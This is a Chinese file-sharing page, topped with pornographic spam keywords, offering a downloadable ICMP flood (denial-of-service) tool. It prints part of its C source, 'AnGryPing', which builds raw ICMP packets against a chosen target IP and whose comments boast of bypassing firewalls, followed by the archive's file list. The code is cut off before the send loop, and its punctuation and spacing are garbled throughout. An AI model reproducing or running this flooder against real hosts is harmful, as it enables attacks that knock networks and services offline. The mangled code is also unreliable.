91av视频/亚洲h视频/操亚洲美女/外国一级黄色毛片 - 国产三级三级三级三级

  • 大小: 1.89MB
    文件類型: .rar
    金幣: 2
    下載: 0 次
    發(fā)布日期: 2023-08-15
  • 語(yǔ)言: 其他
  • 標(biāo)簽: flood??ICMP??

資源簡(jiǎn)介

基于ICMP的洪水攻擊 每秒1024個(gè)包

資源截圖

代碼片段和文件信息

//==================================================
/*
agp.c

??AnGryPing?--?ICMP?Flooder?by?HBU·小金(LK007)
??Copyright???2002
??E-MAIL:lk007@163.com
*/

#include?
#include?
#include?
#pragma?comment(lib?“ws2_32.lib“)
//頭文件和庫(kù)文件聲明,如果不能編譯,請(qǐng)?jiān)趌ink里加上ws2_32.lib

#define?false?0
#define?true?1

#define?SEQ?0x28376839

//?定義ICMP首部
typedef?struct?_ihdr
{
BYTE?i_type;?//8位類型
BYTE?i_code;?//8位代碼
USHORT?i_cksum;?//16位校驗(yàn)和
USHORT?i_id;?//識(shí)別號(hào)
USHORT?i_seq;?//報(bào)文序列號(hào)
ULONG?timestamp;?//時(shí)間戳
}ICMP_HEADER;

//計(jì)算校驗(yàn)和的子函數(shù)
USHORT?checksum(USHORT?*buffer?int?size)
{
unsigned?long?cksum=0;
while(size?>1)
{
cksum+=*buffer++;
size?-=sizeof(USHORT);
}
if(size?)
{
cksum?+=?*(UCHAR*)buffer;
}
cksum?=?(cksum?>>?16)?+?(cksum?&?0xffff);
cksum?+=?(cksum?>>16);
return?(USHORT)(~cksum);
}

int?main(int?argc?char?**argv)
{
int?datasizeErrorCodeflag;

int?TimeOut=2000;//默認(rèn)數(shù)據(jù)聲明
int?SendSEQ=0;
int?PacketSize=32;
int?type=8;
int?code=0;
int?counter=0;?

char?SendBuf[65535]={0};?//緩沖

WSADATA?wsaData;
SOCKET?SockRaw=(SOCKET)NULL;
struct?sockaddr_in?DestAddr;
ICMP_HEADER?icmp_header;
char?DestIp[20];?//目標(biāo)IP

if?(argc<2)
{
//允許用戶自定義數(shù)據(jù)包大小、類型、代碼,
//用以繞過(guò)一些防火墻或做一些特殊的報(bào)文Flood
printf(“AngryPing?by?HBU-LK007\n“);
printf(“Usage:%s?[Dest]???\n“argv[0]);
exit(0);
}

strcpy(DestIpargv[1]);//取得目標(biāo)IP地址

if?(argc>2)?PacketSize=atoi(argv[2]);?//取得數(shù)據(jù)大小
if?(PacketSize>65500)
{
printf(“Packet?size?must?less?than?65500\n“);?//太大會(huì)無(wú)法生成IP數(shù)據(jù)報(bào)的
exit(0);
}

if?(argc>3)?
{
type=atoi(argv[3]);?//取得類型值
}
if?(type>16)
{
printf(“Type?must?less?than?16\n“);
exit(0);
}

if?(argc>4)?code=atoi(argv[4]);?//取得代碼值

//初始化SOCK_RAW
if((ErrorCode=WSAStartup(MAKEWORD(22)&wsaData))!=0)
{
fprintf(stderr“WSAStartup?failed:?%d\n“ErrorCode);
exit(0);
}

if((SockRaw=WSASocket(AF_INETSOCK_RAW
IPPROTO_ICMPNULL0
WSA_FLAG_OVERLAPPED))?==?INVALID_SOCKET)
{
fprintf(stderr“WSASocket?failed:?%d\n“WSAGetLastError());
exit(0);
}
flag=TRUE;

{

//設(shè)置發(fā)送超時(shí)
ErrorCode=setsockopt(SockRawSOL_SOCKETSO_SNDTIMEO
(char*)&TimeOutsizeof(TimeOut));
if?(ErrorCode==SOCKET_ERROR)
{
fprintf(stderr“Failed?to?set?send?TimeOut:?%d\n“WSAGetLastError());
exit(1);
}

//主要代碼開(kāi)始
printf(“Dest:%s?packet:%d?type:%d?code:%d\n\n“argv[1]PacketSizetypecode);
printf(“Starting...\n\n“);?//視覺(jué)效果:P
memset(&DestAddr0sizeof(DestAddr));
DestAddr.sin_family=AF_INET;
DestAddr.sin_addr.s_addr=inet_addr(DestIp);?//填充Socket結(jié)構(gòu)
//填充ICMP首部
icmp_header.i_type?=?type;
icmp_header.i_code?=?code;
icmp_header.i_cksum?=?0;?//校驗(yàn)和置0
icmp_header.i_id?=?2;
icmp_header.timestamp?=?GetTickCount();?//時(shí)間戳
icmp_header.i_seq=999;

memcpy(SendBuf?&icmp_header?sizeof(icmp_header));?//組合ICMP報(bào)文和頭部
memset(SendBuf+sizeof(icmp_header)?‘

?屬性????????????大小?????日期????時(shí)間???名稱
-----------?---------??----------?-----??----

?????文件????1967104??2010-09-18?02:40??Flood\Debug\Flood.bsc

?????文件?????176191??2010-09-18?02:40??Flood\Debug\Flood.exe

?????文件?????192032??2010-09-18?02:40??Flood\Debug\Flood.ilk

?????文件??????17463??2010-09-18?02:40??Flood\Debug\Flood.obj

?????文件????4631032??2010-09-18?02:40??Flood\Debug\Flood.pch

?????文件?????443392??2010-09-18?02:40??Flood\Debug\Flood.pdb

?????文件??????????0??2010-09-18?02:40??Flood\Debug\Flood.sbr

?????文件?????148480??2010-09-18?02:40??Flood\Debug\vc60.idb

?????文件??????77824??2010-09-18?02:40??Flood\Debug\vc60.pdb

?????文件???????4239??2010-09-18?00:28??Flood\Flood.cpp

?????文件???????4309??2010-09-18?02:46??Flood\Flood.dsp

?????文件???????1452??2010-09-18?02:40??Flood\Flood.plg

?????目錄??????????0??2010-09-18?02:40??Flood\Debug

?????目錄??????????0??2010-09-18?02:46??Flood

-----------?---------??----------?-----??----

??????????????7663518????????????????????14


評(píng)論

共有 條評(píng)論